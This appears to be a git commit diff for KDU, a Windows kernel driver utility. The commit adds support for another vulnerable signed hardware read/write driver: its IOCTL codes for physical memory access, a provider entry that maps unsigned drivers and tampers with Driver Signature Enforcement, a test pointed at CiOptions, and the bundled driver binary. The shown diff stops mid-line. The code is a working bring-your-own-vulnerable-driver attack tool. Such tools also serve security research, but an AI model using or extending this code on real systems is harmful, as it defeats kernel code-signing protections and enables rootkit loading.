diff --git a/README.md b/README.md index 755faff..7b65db8 100644 --- a/README.md +++ b/README.md @@ -162,6 +162,7 @@ Note: Provider with Id 0 assumed as default if no -prv command is specified. | 50 | ASRock | AsrDrv107n | ASRock Motherboard Utility | 3.0.498 and below | | | 51 | ASRock | AsrDrv107 | ASRock Motherboard Utility | 3.0.498 and below | | | 52 | Intel | PmxDrv | Intel(R) Management Engine Tools Driver | 1.0.0.1003 and below | | +| 53 | Jun Liu | HwRwDrv | Hardware read & write driver | 1.0.0.6 and below | | MSFT blacklist types: * Cert - by certificate used to sign the driver which makes it possible to ban huge number of files at one time. @@ -224,6 +225,7 @@ MSFT blacklist types: |50|RWEverything||**File(SHA1):** 11D7E0D29AB17292FD43BDD5CCB7DA0403E50E52
**Authenticode(SHA1):** CA06D9FD91F7B681204B35975D5C069D0DABE276
**Page(SHA1):** B7693E1170B01F24A824892607C2258CA653805A
**Page(SHA256):** B8776F6889CF3D8252F0912DD9745F8EFF4513292DF2B2B1D484CDBC68FBAE4C| |51|RWEverything||**File(SHA1):** B1FAD5DA173C6A603FFFE20E0CB5F0BDCA823BD5
**Authenticode(SHA1):** 268073AD0B17E2161C1A2A6C5B1BDEBB7B3011B4
**Page(SHA1):** 0B48F35DAF8B8BC9BA4E413EF222415EAB791AE0
**Page(SHA256):** B073907634013A8EB65E4C8AA42535BAD08101E58B7B1489AEE395B7BE9C69E2| |52|Original||**File(SHA1):** 9E5FCAEA33C9A181C56F7D0E4D9C42F8EDEAD252
**Authenticode(SHA1):** 7919108CB1278503EC4A78DD25694C6770EAA989
**Page(SHA1):** E1CE5A5E2CEB0AAD9CB588A900BF471462FAC42B
**Page(SHA256):** 6991344C8771FC717F878F9A6B0C258BC81FB3BF1F7F3CBED3EF8F86541B253F| +|53|WINRING0||**File(SHA1):** DB8BCB8693DDF715552F85B8E2628F060070F920
**Authenticode(SHA1):** 8C40A82DF3D606A87DF243C787283C26CE9B0458
**Page(SHA1):** F7362528C0118F895D4D51588102C51A09B1691C
**Page(SHA256):** 2A8B9C786DEA17F00E105BFEF82B723E2578150E814DD9A94ED007275C96AC25| ###### *At commit time, data maybe inaccurate. diff --git a/Source/Hamakaze/KDU.vcxproj.user b/Source/Hamakaze/KDU.vcxproj.user index e229358..262e59e 100644 --- a/Source/Hamakaze/KDU.vcxproj.user +++ b/Source/Hamakaze/KDU.vcxproj.user @@ -1,11 +1,11 @@  - -dse 0 + -test WindowsLocalDebugger - -prv 52 -map c:\install\dummy2.sys + -prv 53 -map c:\install\dummy2.sys WindowsLocalDebugger \ No newline at end of file diff --git a/Source/Hamakaze/idrv/asrdrv.cpp b/Source/Hamakaze/idrv/asrdrv.cpp index 6562d8c..ee43235 100644 --- a/Source/Hamakaze/idrv/asrdrv.cpp +++ b/Source/Hamakaze/idrv/asrdrv.cpp @@ -4,9 +4,9 @@ * * TITLE: ASRDRV.CPP * -* VERSION: 1.41 +* VERSION: 1.43 * -* DATE: 10 Dec 2023 +* DATE: 10 Nov 2023 * * ASRock driver routines. * @@ -271,9 +271,6 @@ BOOL WINAPI AsrWritePhysicalMemory( &args); } - - - /* * RweReadPhysicalMemory * diff --git a/Source/Hamakaze/idrv/winring0.h b/Source/Hamakaze/idrv/winring0.h index 162a12d..43a704d 100644 --- a/Source/Hamakaze/idrv/winring0.h +++ b/Source/Hamakaze/idrv/winring0.h @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2020 - 2021 +* (C) COPYRIGHT AUTHORS, 2020 - 2024 * * TITLE: WINRING0.H * -* VERSION: 1.10 +* VERSION: 1.43 * -* DATE: 15 Apr 2021 +* DATE: 10 Nov 2024 * * WinRing0 based drivers interface header. * @@ -53,6 +53,25 @@ typedef struct _OLS_WRITE_MEMORY_INPUT { #pragma pack(pop) +// +// Faintsnow Hardware read & write driver interface. +// Essentially it's a slightly tweaked WinRing0 copy-paste. +// +// Related CVE's: +// CVE-2021-29337, CVE-2023-1679, CVE-2021-29337, CVE-2020-13517 etc, all the same and all makes zero sense. +// + +#define HWRWDRV_TYPE (DWORD)0x9C40 + +#define HWRW_READ_MEMORY (DWORD)0x841 +#define HWRW_WRITE_MEMORY (DWORD)0x842 + +#define IOCTL_HWRW_READ_MEMORY \ + CTL_CODE(HWRWDRV_TYPE, HWRW_READ_MEMORY, METHOD_BUFFERED, FILE_READ_ACCESS) //0x9C406104 + +#define IOCTL_HWRW_WRITE_MEMORY \ + CTL_CODE(HWRWDRV_TYPE, HWRW_WRITE_MEMORY, METHOD_BUFFERED, FILE_WRITE_ACCESS) //0x9C40A108 + BOOL WINAPI WRZeroReadPhysicalMemory( _In_ HANDLE DeviceHandle, _In_ ULONG_PTR PhysicalAddress, diff --git a/Source/Hamakaze/kduplist.h b/Source/Hamakaze/kduplist.h index 67c6d2d..ff09e20 100644 --- a/Source/Hamakaze/kduplist.h +++ b/Source/Hamakaze/kduplist.h @@ -4,9 +4,9 @@ * * TITLE: KDUPLIST.H * -* VERSION: 1.42 +* VERSION: 1.43 * -* DATE: 01 Apr 2024 +* DATE: 10 Nov 2024 * * Providers global list. * @@ -1469,6 +1469,32 @@ static KDU_PROVIDER g_KDUProviders[] = (provValidatePrerequisites)NULL, (provOpenProcess)NULL - } + }, + + { + NULL, + + (provStartVulnerableDriver)KDUProvStartVulnerableDriver, + (provStopVulnerableDriver)KDUProvStopVulnerableDriver, + + (provRegisterDriver)NULL, + (provUnregisterDriver)NULL, + (provPreOpenDriver)NULL, + (provPostOpenDriver)KDUProviderPostOpen, + (provMapDriver)KDUMapDriver, + (provControlDSE)KDUControlDSE2, + + (provReadKernelVM)NULL, + (provWriteKernelVM)NULL, + + (provVirtualToPhysical)NULL, + (provQueryPML4)NULL, + (provReadPhysicalMemory)WRZeroReadPhysicalMemory, + (provWritePhysicalMemory)WRZeroWritePhysicalMemory, + + (provValidatePrerequisites)NULL, + + (provOpenProcess)NULL + } }; diff --git a/Source/Hamakaze/main.cpp b/Source/Hamakaze/main.cpp index d9481ef..261c5f5 100644 --- a/Source/Hamakaze/main.cpp +++ b/Source/Hamakaze/main.cpp @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2020 - 2023 +* (C) COPYRIGHT AUTHORS, 2020 - 2024 * * TITLE: MAIN.CPP * -* VERSION: 1.40 +* VERSION: 1.43 * -* DATE: 20 Oct 2023 +* DATE: 10 Nov 2024 * * Hamakaze main logic and entrypoint. * diff --git a/Source/Hamakaze/resource.rc b/Source/Hamakaze/resource.rc index eb4a35a..786707b 100644 --- a/Source/Hamakaze/resource.rc +++ b/Source/Hamakaze/resource.rc @@ -51,8 +51,8 @@ END // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,4,2,2409 - PRODUCTVERSION 1,4,2,2409 + FILEVERSION 1,4,3,2411 + PRODUCTVERSION 1,4,3,2411 FILEFLAGSMASK 0x3fL #ifdef _DEBUG FILEFLAGS 0x1L @@ -69,12 +69,12 @@ BEGIN BEGIN VALUE "CompanyName", "UG North" VALUE "FileDescription", "Kernel Driver Utility" - VALUE "FileVersion", "1.4.2.2409" + VALUE "FileVersion", "1.4.3.2411" VALUE "InternalName", "Hamakaze.exe" VALUE "LegalCopyright", "Copyright (C) 2020 - 2024 KDU Project" VALUE "OriginalFilename", "Hamakaze.exe" VALUE "ProductName", "KDU" - VALUE "ProductVersion", "1.4.2.2409" + VALUE "ProductVersion", "1.4.3.2411" END END BLOCK "VarFileInfo" diff --git a/Source/Hamakaze/tests.cpp b/Source/Hamakaze/tests.cpp index bea6efa..a4d492f 100644 --- a/Source/Hamakaze/tests.cpp +++ b/Source/Hamakaze/tests.cpp @@ -4,9 +4,9 @@ * * TITLE: TESTS.CPP * -* VERSION: 1.42 +* VERSION: 1.43 * -* DATE: 01 Apr 2024 +* DATE: 10 Nov 2024 * * KDU tests. * @@ -57,7 +57,7 @@ VOID KDUTestLoad() VOID KDUTestDSE(PKDU_CONTEXT Context) { - ULONG_PTR g_CiOptions = 0xfffff80031e3a478;//need update + ULONG_PTR g_CiOptions = 0xfffff8021bc3a308;//need update ULONG_PTR oldValue = 0, newValue = 0x0, testValue = 0; KDU_PROVIDER* prov = Context->Provider; @@ -188,7 +188,7 @@ VOID KDUTest() // KDUTestLoad(); // TestSymbols(); - Context = KDUProviderCreate(KDU_PROVIDER_INTEL_PMXDRV, + Context = KDUProviderCreate(KDU_PROVIDER_HWRWDRVX64, FALSE, NT_WIN10_20H1, KDU_SHELLCODE_V1, @@ -196,8 +196,8 @@ VOID KDUTest() if (Context) { - //TestBrute(Context); - KDUTestDSE(Context); + TestBrute(Context); + //KDUTestDSE(Context); KDUProviderRelease(Context); } diff --git a/Source/Shared/consts.h b/Source/Shared/consts.h index 1d9a86b..0ce9076 100644 --- a/Source/Shared/consts.h +++ b/Source/Shared/consts.h @@ -4,9 +4,9 @@ * * TITLE: CONSTS.H * -* VERSION: 1.42 +* VERSION: 1.43 * -* DATE: 23 Sep 2024 +* DATE: 10 Nov 2024 * * Global consts. * @@ -21,8 +21,8 @@ #define KDU_VERSION_MAJOR 1 #define KDU_VERSION_MINOR 4 -#define KDU_VERSION_REVISION 2 -#define KDU_VERSION_BUILD 2409 +#define KDU_VERSION_REVISION 3 +#define KDU_VERSION_BUILD 2411 #define KDU_COPYRIGHT_YEAR 2024 #define KDU_MIN_NTBUILDNUMBER 0x1DB1 //Windows 7 SP1 @@ -30,7 +30,7 @@ #define IPC_GET_HANDLE 0x1337 -#define KDU_SYNC_MUTANT 0x2409 +#define KDU_SYNC_MUTANT 0x2411 #define NT_REG_PREP L"\\Registry\\Machine" #define DRIVER_REGKEY L"%wS\\System\\CurrentControlSet\\Services\\%wS" @@ -155,6 +155,7 @@ #define IDR_ASROCKDRV3 152 #define IDR_ASROCKDRV4 153 #define IDR_PMXDRV64 154 +#define IDR_HWRWDRVX64 155 // // Vulnerable drivers providers id @@ -212,6 +213,7 @@ #define KDU_PROVIDER_ASROCK4 50 #define KDU_PROVIDER_ASROCK5 51 #define KDU_PROVIDER_INTEL_PMXDRV 52 +#define KDU_PROVIDER_HWRWDRVX64 53 #define KDU_PROVIDER_DEFAULT KDU_PROVIDER_INTEL_NAL diff --git a/Source/Shared/ntos/ntbuilds.h b/Source/Shared/ntos/ntbuilds.h index 2dca12b..1e2cfd1 100644 --- a/Source/Shared/ntos/ntbuilds.h +++ b/Source/Shared/ntos/ntbuilds.h @@ -6,7 +6,7 @@ * * VERSION: 1.26 * -* DATE: 15 Sep 2024 +* DATE: 11 Oct 2024 * * Windows NT builds definition file. * @@ -88,6 +88,8 @@ // Windows 11 23H2 #define NT_WIN11_23H2 22631 +// Windows 11 24H2 +#define NT_WIN11_24H2 26100 + // Windows 11 Active Development Branch -#define NT_WIN11_24H2 26100 //canary (24H2) -#define NT_WIN11_25H2 27695 //canary (25H2) +#define NT_WIN11_25H2 27723 //canary (25H2) diff --git a/Source/Shared/ntos/ntos.h b/Source/Shared/ntos/ntos.h index 547ba5e..4dbd469 100644 --- a/Source/Shared/ntos/ntos.h +++ b/Source/Shared/ntos/ntos.h @@ -5,9 +5,9 @@ * * TITLE: NTOS.H * -* VERSION: 1.226 +* VERSION: 1.227 * -* DATE: 07 Jun 2024 +* DATE: 07 Oct 2024 * * Common header file for the ntos API functions and definitions. * @@ -7405,6 +7405,29 @@ typedef struct _FLT_OBJECT_V2 { GUID UniqueIdentifier; } FLT_OBJECT_V2, *PFLT_OBJECT_V2; /* size: 0x0030 */ +// Since w11 25h2 +typedef struct _FLT_OBJECT_V3 { + ULONG Flags; + ULONG PointerCount; + EX_RUNDOWN_REF RundownRef; + LIST_ENTRY PrimaryLink; + PVOID RundownLog; + GUID UniqueIdentifier; +} FLT_OBJECT_V3, * PFLT_OBJECT_V3; /* size: 0x0038 */ + +typedef struct _FLT_OBJECT_LOG_ENTRY { + ULONG Action; + LONG Padding_25; + EX_RUNDOWN_REF RundownRef; + PVOID Stack[14]; +} FLT_OBJECT_LOG_ENTRY, * PFLT_OBJECT_LOG_ENTRY; /* size: 0x0080 */ + +typedef struct _FLT_OBJECT_LOG { + LONG Index; + ULONG Reserved; + FLT_OBJECT_LOG_ENTRY Log[1024]; +} FLT_OBJECT_LOG, * PFLT_OBJECT_LOG; /* size: 0x20008 */ + typedef struct _FLT_SERVER_PORT_OBJECT { LIST_ENTRY FilterLink; PVOID ConnectNotify; @@ -7576,8 +7599,43 @@ typedef struct _FLT_FILTER_V4 { /* 0x02a8 */ EX_PUSH_LOCK_AUTO_EXPAND PortLock; } FLT_FILTER_V4, * PFLT_FILTER_V4; /* size: 0x02b8 */ -typedef FLT_FILTER_V4 FLT_FILTER_COMPATIBLE; -typedef PFLT_FILTER_V4 PFLT_FILTER_COMPATIBLE; +// Windows 11+ (27XXX) +typedef struct _FLT_FILTER_V5 { + /* 0x0000 */ FLT_OBJECT_V3 Base; + /* 0x0038 */ struct _FLTP_FRAME* Frame; + /* 0x0040 */ UNICODE_STRING Name; + /* 0x0050 */ UNICODE_STRING DefaultAltitude; + /* 0x0060 */ FLT_FILTER_FLAGS Flags; + /* 0x0064 */ LONG Padding; + /* 0x0068 */ DRIVER_OBJECT* DriverObject; + /* 0x0070 */ FLT_RESOURCE_LIST_HEAD InstanceList; + /* 0x00f0 */ struct _FLT_VERIFIER_EXTENSION* VerifierExtension; + /* 0x00f8 */ LIST_ENTRY VerifiedFiltersLink; + /* 0x0108 */ PVOID FilterUnload /* function */; + /* 0x0110 */ PVOID InstanceSetup /* function */; + /* 0x0118 */ PVOID InstanceQueryTeardown /* function */; + /* 0x0120 */ PVOID InstanceTeardownStart /* function */; + /* 0x0128 */ PVOID InstanceTeardownComplete /* function */; + /* 0x0130 */ struct _ALLOCATE_CONTEXT_HEADER* SupportedContextsListHead; + /* 0x0138 */ struct _ALLOCATE_CONTEXT_HEADER* SupportedContexts[7]; + /* 0x0170 */ PVOID PreVolumeMount /* function */; + /* 0x0178 */ PVOID PostVolumeMount /* function */; + /* 0x0180 */ PVOID GenerateFileName /* function */; + /* 0x0188 */ PVOID NormalizeNameComponent /* function */; + /* 0x0190 */ PVOID NormalizeNameComponentEx /* function */; + /* 0x0198 */ PVOID NormalizeContextCleanup /* function */; + /* 0x01a0 */ PVOID KtmNotification /* function */; + /* 0x01a8 */ PVOID SectionNotification /* function */; + /* 0x01b0 */ struct _FLT_OPERATION_REGISTRATION* Operations; + /* 0x01b8 */ PVOID OldDriverUnload /* function */; + /* 0x01c0 */ FLT_MUTEX_LIST_HEAD ActiveOpens; + /* 0x0210 */ FLT_MUTEX_LIST_HEAD ConnectionList; + /* 0x0260 */ FLT_MUTEX_LIST_HEAD PortList; + /* 0x02b0 */ EX_PUSH_LOCK_AUTO_EXPAND PortLock; +} FLT_FILTER_V5, * PFLT_FILTER_V5; /* size: 0x02c0 */ + +typedef FLT_FILTER_V5 FLT_FILTER_COMPATIBLE; +typedef PFLT_FILTER_V5 PFLT_FILTER_COMPATIBLE; /* ** FLT MANAGER END diff --git a/Source/Tanikaze/Tanikaze.vcxproj b/Source/Tanikaze/Tanikaze.vcxproj index 4b8a004..90f53b9 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj +++ b/Source/Tanikaze/Tanikaze.vcxproj @@ -213,6 +213,7 @@ + diff --git a/Source/Tanikaze/Tanikaze.vcxproj.filters b/Source/Tanikaze/Tanikaze.vcxproj.filters index cc1eece..b5fc54e 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj.filters +++ b/Source/Tanikaze/Tanikaze.vcxproj.filters @@ -220,6 +220,9 @@ Resource Files + + Resource Files + diff --git a/Source/Tanikaze/data/AsusCertService.bin b/Source/Tanikaze/data/AsusCertService.bin index 5b80dba..629a90e 100644 Binary files a/Source/Tanikaze/data/AsusCertService.bin and b/Source/Tanikaze/data/AsusCertService.bin differ diff --git a/Source/Tanikaze/data/KMUEXE.bin b/Source/Tanikaze/data/KMUEXE.bin index 0103884..f773db4 100644 Binary files a/Source/Tanikaze/data/KMUEXE.bin and b/Source/Tanikaze/data/KMUEXE.bin differ diff --git a/Source/Tanikaze/data/KMUSIG.bin b/Source/Tanikaze/data/KMUSIG.bin index 11a6125..ea02c22 100644 --- a/Source/Tanikaze/data/KMUSIG.bin +++ b/Source/Tanikaze/data/KMUSIG.bin @@ -1,2 +1,2 @@ -°€°7ßÁÖq“á°zæÃ,]ãqq«>Vf[æÒ&S–>§˜oœƒÖ°ÝükFzQ šÊy,°-Ò·}eÎI8×ôq^gÉ0¤”^ Áûr*œ(®ò™aÃ7p}‡?š4FjB\0K$1g^퉄”Œ¸bÿÓïV`Í´µý%뇱Þ7—*óÙÖ¯>ôÌwiá +°€°7O_DHÐß°zæÃ,]ãqq«>Vf[æÒ&S–>§˜oœƒÖ°ÝükFzQ šÊy,°-Ò·}eÎI8×ôq^gÉ0¤”^ Áûr*œ(®ò™aÃ7p}‡?š4FjB\0K$1g^퉄”Œ¸bÿÓïV`Í´µý%뇱Þ7—*óÙÖ¯>ôÌwiá mV?‰SHèæ/Œ0£8”ÎHˆ ]àì \ No newline at end of file diff --git a/Source/Tanikaze/data/dbutilcat.bin b/Source/Tanikaze/data/dbutilcat.bin index 116cc89..0b5038f 100644 Binary files a/Source/Tanikaze/data/dbutilcat.bin and b/Source/Tanikaze/data/dbutilcat.bin differ diff --git a/Source/Tanikaze/data/dbutilinf.bin b/Source/Tanikaze/data/dbutilinf.bin index 785fdeb..6806dea 100644 Binary files a/Source/Tanikaze/data/dbutilinf.bin and b/Source/Tanikaze/data/dbutilinf.bin differ diff --git a/Source/Tanikaze/drv/ALSysIO64.bin b/Source/Tanikaze/drv/ALSysIO64.bin index a79c04c..d7e1464 100644 Binary files a/Source/Tanikaze/drv/ALSysIO64.bin and b/Source/Tanikaze/drv/ALSysIO64.bin differ diff --git a/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin index 9ba0c8c..6bdf732 100644 Binary files a/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin and b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin differ diff --git a/Source/Tanikaze/drv/AODDriver215.bin b/Source/Tanikaze/drv/AODDriver215.bin index 5afac30..5a93729 100644 Binary files a/Source/Tanikaze/drv/AODDriver215.bin and b/Source/Tanikaze/drv/AODDriver215.bin differ diff --git a/Source/Tanikaze/drv/ATSZIO64.bin b/Source/Tanikaze/drv/ATSZIO64.bin index e3967a1..8c46851 100644 Binary files a/Source/Tanikaze/drv/ATSZIO64.bin and b/Source/Tanikaze/drv/ATSZIO64.bin differ diff --git a/Source/Tanikaze/drv/AppShopDrv103.bin b/Source/Tanikaze/drv/AppShopDrv103.bin index 2e21796..0ffc8ff 100644 Binary files a/Source/Tanikaze/drv/AppShopDrv103.bin and b/Source/Tanikaze/drv/AppShopDrv103.bin differ diff --git a/Source/Tanikaze/drv/AsIO3.bin b/Source/Tanikaze/drv/AsIO3.bin index cbcb8f1..9e8e984 100644 Binary files a/Source/Tanikaze/drv/AsIO3.bin and b/Source/Tanikaze/drv/AsIO3.bin differ diff --git a/Source/Tanikaze/drv/AsrDrv106.bin b/Source/Tanikaze/drv/AsrDrv106.bin index cfbad36..50f195e 100644 Binary files a/Source/Tanikaze/drv/AsrDrv106.bin and b/Source/Tanikaze/drv/AsrDrv106.bin differ diff --git a/Source/Tanikaze/drv/AsrDrv107.bin b/Source/Tanikaze/drv/AsrDrv107.bin index 8ee599a..15bbc86 100644 Binary files a/Source/Tanikaze/drv/AsrDrv107.bin and b/Source/Tanikaze/drv/AsrDrv107.bin differ diff --git a/Source/Tanikaze/drv/AsrDrv107n.bin b/Source/Tanikaze/drv/AsrDrv107n.bin index d75cd59..e6d6322 100644 Binary files a/Source/Tanikaze/drv/AsrDrv107n.bin and b/Source/Tanikaze/drv/AsrDrv107n.bin differ diff --git a/Source/Tanikaze/drv/AxtuDrv.bin b/Source/Tanikaze/drv/AxtuDrv.bin index 0028c7c..babe981 100644 Binary files a/Source/Tanikaze/drv/AxtuDrv.bin and b/Source/Tanikaze/drv/AxtuDrv.bin differ diff --git a/Source/Tanikaze/drv/DbUtil2_3.bin b/Source/Tanikaze/drv/DbUtil2_3.bin index 1651ef3..0a8d38d 100644 Binary files a/Source/Tanikaze/drv/DbUtil2_3.bin and b/Source/Tanikaze/drv/DbUtil2_3.bin differ diff --git a/Source/Tanikaze/drv/DirectIo64.bin b/Source/Tanikaze/drv/DirectIo64.bin index e34efe9..4149ee6 100644 Binary files a/Source/Tanikaze/drv/DirectIo64.bin and b/Source/Tanikaze/drv/DirectIo64.bin differ diff --git a/Source/Tanikaze/drv/DirectIo64_2.bin b/Source/Tanikaze/drv/DirectIo64_2.bin index 41241d0..bfff228 100644 Binary files a/Source/Tanikaze/drv/DirectIo64_2.bin and b/Source/Tanikaze/drv/DirectIo64_2.bin differ diff --git a/Source/Tanikaze/drv/EneIo64.bin b/Source/Tanikaze/drv/EneIo64.bin index 4c26d05..0f60d8c 100644 Binary files a/Source/Tanikaze/drv/EneIo64.bin and b/Source/Tanikaze/drv/EneIo64.bin differ diff --git a/Source/Tanikaze/drv/EneTechIo64.bin b/Source/Tanikaze/drv/EneTechIo64.bin index 688262d..28bba07 100644 Binary files a/Source/Tanikaze/drv/EneTechIo64.bin and b/Source/Tanikaze/drv/EneTechIo64.bin differ diff --git a/Source/Tanikaze/drv/GLCKIO2.bin b/Source/Tanikaze/drv/GLCKIO2.bin index ef3d758..41a449d 100644 Binary files a/Source/Tanikaze/drv/GLCKIO2.bin and b/Source/Tanikaze/drv/GLCKIO2.bin differ diff --git a/Source/Tanikaze/drv/HW64.bin b/Source/Tanikaze/drv/HW64.bin index 2e4a4b8..d0e771c 100644 Binary files a/Source/Tanikaze/drv/HW64.bin and b/Source/Tanikaze/drv/HW64.bin differ diff --git a/Source/Tanikaze/drv/HwRwDrv.x64.bin b/Source/Tanikaze/drv/HwRwDrv.x64.bin new file mode 100644 index 0000000..9abf702 Binary files /dev/null and b/Source/Tanikaze/drv/HwRwDrv.x64.bin differ diff --git a/Source/Tanikaze/drv/KExplore.bin b/Source/Tanikaze/drv/KExplore.bin index 17ccc2e..a2033f1 100644 Binary files a/Source/Tanikaze/drv/KExplore.bin and b/Source/Tanikaze/drv/KExplore.bin differ diff --git a/Source/Tanikaze/drv/KObjExp.bin b/Source/Tanikaze/drv/KObjExp.bin index 75264f7..3d1926a 100644 Binary files a/Source/Tanikaze/drv/KObjExp.bin and b/Source/Tanikaze/drv/KObjExp.bin differ diff --git a/Source/Tanikaze/drv/KRegExp.bin b/Source/Tanikaze/drv/KRegExp.bin index 7b90dcc..2314d8b 100644 Binary files a/Source/Tanikaze/drv/KRegExp.bin and b/Source/Tanikaze/drv/KRegExp.bin differ diff --git a/Source/Tanikaze/drv/LDD.bin b/Source/Tanikaze/drv/LDD.bin index c278d78..64b0452 100644 Binary files a/Source/Tanikaze/drv/LDD.bin and b/Source/Tanikaze/drv/LDD.bin differ diff --git a/Source/Tanikaze/drv/MsIo64.bin b/Source/Tanikaze/drv/MsIo64.bin index 612f3c6..480da0e 100644 Binary files a/Source/Tanikaze/drv/MsIo64.bin and b/Source/Tanikaze/drv/MsIo64.bin differ diff --git a/Source/Tanikaze/drv/PdFwKrnl.bin b/Source/Tanikaze/drv/PdFwKrnl.bin index fa81903..98c5a0d 100644 Binary files a/Source/Tanikaze/drv/PdFwKrnl.bin and b/Source/Tanikaze/drv/PdFwKrnl.bin differ diff --git a/Source/Tanikaze/drv/PhyDMACC.bin b/Source/Tanikaze/drv/PhyDMACC.bin index 42b40db..bde43f7 100644 Binary files a/Source/Tanikaze/drv/PhyDMACC.bin and b/Source/Tanikaze/drv/PhyDMACC.bin differ diff --git a/Source/Tanikaze/drv/Phymemx64.bin b/Source/Tanikaze/drv/Phymemx64.bin index 48f5ec4..f4c4d8d 100644 Binary files a/Source/Tanikaze/drv/Phymemx64.bin and b/Source/Tanikaze/drv/Phymemx64.bin differ diff --git a/Source/Tanikaze/drv/RTCore64.bin b/Source/Tanikaze/drv/RTCore64.bin index 3ec7a62..9d0d471 100644 Binary files a/Source/Tanikaze/drv/RTCore64.bin and b/Source/Tanikaze/drv/RTCore64.bin differ diff --git a/Source/Tanikaze/drv/SysDrv3S.bin b/Source/Tanikaze/drv/SysDrv3S.bin index a345172..8a0815b 100644 Binary files a/Source/Tanikaze/drv/SysDrv3S.bin and b/Source/Tanikaze/drv/SysDrv3S.bin differ diff --git a/Source/Tanikaze/drv/WinRing0x64.bin b/Source/Tanikaze/drv/WinRing0x64.bin index e8d9ae0..bb053f3 100644 Binary files a/Source/Tanikaze/drv/WinRing0x64.bin and b/Source/Tanikaze/drv/WinRing0x64.bin differ diff --git a/Source/Tanikaze/drv/amsdk.bin b/Source/Tanikaze/drv/amsdk.bin index 88ec314..c38aafa 100644 Binary files a/Source/Tanikaze/drv/amsdk.bin and b/Source/Tanikaze/drv/amsdk.bin differ diff --git a/Source/Tanikaze/drv/asio2.bin b/Source/Tanikaze/drv/asio2.bin index b1c440d..2faced3 100644 Binary files a/Source/Tanikaze/drv/asio2.bin and b/Source/Tanikaze/drv/asio2.bin differ diff --git a/Source/Tanikaze/drv/dbk64.bin b/Source/Tanikaze/drv/dbk64.bin index 45714b2..a9c9974 100644 Binary files a/Source/Tanikaze/drv/dbk64.bin and b/Source/Tanikaze/drv/dbk64.bin differ diff --git a/Source/Tanikaze/drv/dbutildrv2.bin b/Source/Tanikaze/drv/dbutildrv2.bin index 2dd6789..cd2a41a 100644 Binary files a/Source/Tanikaze/drv/dbutildrv2.bin and b/Source/Tanikaze/drv/dbutildrv2.bin differ diff --git a/Source/Tanikaze/drv/echo_driver.bin b/Source/Tanikaze/drv/echo_driver.bin index bedec70..db5482d 100644 Binary files a/Source/Tanikaze/drv/echo_driver.bin and b/Source/Tanikaze/drv/echo_driver.bin differ diff --git a/Source/Tanikaze/drv/eleetx1.bin b/Source/Tanikaze/drv/eleetx1.bin index 1cd7075..0f656d6 100644 Binary files a/Source/Tanikaze/drv/eleetx1.bin and b/Source/Tanikaze/drv/eleetx1.bin differ diff --git a/Source/Tanikaze/drv/ene2.bin b/Source/Tanikaze/drv/ene2.bin index 12534aa..b38708c 100644 Binary files a/Source/Tanikaze/drv/ene2.bin and b/Source/Tanikaze/drv/ene2.bin differ diff --git a/Source/Tanikaze/drv/etdsupp.bin b/Source/Tanikaze/drv/etdsupp.bin index 72aed5c..888420c 100644 Binary files a/Source/Tanikaze/drv/etdsupp.bin and b/Source/Tanikaze/drv/etdsupp.bin differ diff --git a/Source/Tanikaze/drv/gdrv.bin b/Source/Tanikaze/drv/gdrv.bin index 0a5f93f..0c1c48f 100644 Binary files a/Source/Tanikaze/drv/gdrv.bin and b/Source/Tanikaze/drv/gdrv.bin differ diff --git a/Source/Tanikaze/drv/gmerdrv.bin b/Source/Tanikaze/drv/gmerdrv.bin index d53beeb..56e0a6e 100644 Binary files a/Source/Tanikaze/drv/gmerdrv.bin and b/Source/Tanikaze/drv/gmerdrv.bin differ diff --git a/Source/Tanikaze/drv/heavenluo.bin b/Source/Tanikaze/drv/heavenluo.bin index f05889f..b77feec 100644 Binary files a/Source/Tanikaze/drv/heavenluo.bin and b/Source/Tanikaze/drv/heavenluo.bin differ diff --git a/Source/Tanikaze/drv/iQVM64.bin b/Source/Tanikaze/drv/iQVM64.bin index 8b0596b..0c5e916 100644 Binary files a/Source/Tanikaze/drv/iQVM64.bin and b/Source/Tanikaze/drv/iQVM64.bin differ diff --git a/Source/Tanikaze/drv/inpoutx64.bin b/Source/Tanikaze/drv/inpoutx64.bin index 6a2c615..b81f90b 100644 Binary files a/Source/Tanikaze/drv/inpoutx64.bin and b/Source/Tanikaze/drv/inpoutx64.bin differ diff --git a/Source/Tanikaze/drv/irec.bin b/Source/Tanikaze/drv/irec.bin index 5b07915..be6d3ee 100644 Binary files a/Source/Tanikaze/drv/irec.bin and b/Source/Tanikaze/drv/irec.bin differ diff --git a/Source/Tanikaze/drv/kprocesshacker.bin b/Source/Tanikaze/drv/kprocesshacker.bin index e386495..96c329a 100644 Binary files a/Source/Tanikaze/drv/kprocesshacker.bin and b/Source/Tanikaze/drv/kprocesshacker.bin differ diff --git a/Source/Tanikaze/drv/lha.bin b/Source/Tanikaze/drv/lha.bin index 133a816..50155ea 100644 Binary files a/Source/Tanikaze/drv/lha.bin and b/Source/Tanikaze/drv/lha.bin differ diff --git a/Source/Tanikaze/drv/mimidrv.bin b/Source/Tanikaze/drv/mimidrv.bin index 65ee751..2c77444 100644 Binary files a/Source/Tanikaze/drv/mimidrv.bin and b/Source/Tanikaze/drv/mimidrv.bin differ diff --git a/Source/Tanikaze/drv/nvoclock.bin b/Source/Tanikaze/drv/nvoclock.bin index b334393..67eef79 100644 Binary files a/Source/Tanikaze/drv/nvoclock.bin and b/Source/Tanikaze/drv/nvoclock.bin differ diff --git a/Source/Tanikaze/drv/pcdsrvc_x64.bin b/Source/Tanikaze/drv/pcdsrvc_x64.bin index cc288d8..deda77f 100644 Binary files a/Source/Tanikaze/drv/pcdsrvc_x64.bin and b/Source/Tanikaze/drv/pcdsrvc_x64.bin differ diff --git a/Source/Tanikaze/drv/physmem.bin b/Source/Tanikaze/drv/physmem.bin index 2943d3a..71ce072 100644 Binary files a/Source/Tanikaze/drv/physmem.bin and b/Source/Tanikaze/drv/physmem.bin differ diff --git a/Source/Tanikaze/drv/pmxdrv64.bin b/Source/Tanikaze/drv/pmxdrv64.bin index c5e4ba2..6dab1fb 100644 Binary files a/Source/Tanikaze/drv/pmxdrv64.bin and b/Source/Tanikaze/drv/pmxdrv64.bin differ diff --git 